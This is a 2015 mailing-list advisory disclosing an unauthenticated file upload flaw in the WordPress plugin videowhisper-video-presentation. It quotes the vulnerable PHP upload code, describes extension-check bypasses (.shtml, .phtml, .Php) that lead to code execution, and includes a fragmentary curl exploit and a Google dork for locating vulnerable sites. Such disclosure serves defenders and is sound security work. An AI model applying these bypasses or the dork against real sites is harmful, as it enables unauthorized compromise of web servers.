lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 02 Apr 2015 21:58:30 -0400
From: "Larry W. Cashdollar" <>
Subject: Remote file upload vulnerability in wordpress plugin
 videowhisper-video-presentation v3.31.17

Title: Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site:
Vendor Notified: 2015-03-29, won’t fix
Vendor Contact:
Description: VideoWhisper Video Consultation is a web based video communication solution designed for online video consultations, interactive live presentations, trainings, webinars, coaching and online collaboration with webcam support. Read more on WordPress Video Presentation plugin home page.
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php 

*Update*  You can directly execute php by uploading file extension ending in .phtml or .rhtml as long as the extension isn't defined in the 
apache mime.types.

Allows various remote unauthenticated file uploads,  among the file types is html where the last 4 characters are only being checked 
in a file name to match which types are allowed.  Because of this .shtml can be passed through and remote code execution is SSI is 
allowed.  The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting 
wordpress site:


The if (strstr($filename,'.php')) exit; can be by passed by using the extension .Php but the file extension check would allow 
files like test.Php.shtml


if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];

if (!$room) exit;
if (!$filename) exit;

if (strstr($filename,'.php')) exit;

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;

if ($_GET["slides"]) $destination .= "slides/";


if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);

Exploit Code:
	 $ch = 
	 curl_setopt($ch, CURLOPT_POST, true);
	 curl_setopt($ch, CURLOPT_POSTFIELDS,
	 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	 $postResult = curl_exec($ch);
	 print "$postResult";
	 The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.
Google Dork: inurl:/wp-content/plugins/videowhisper-video-presentation/

Powered by blists - more mailing lists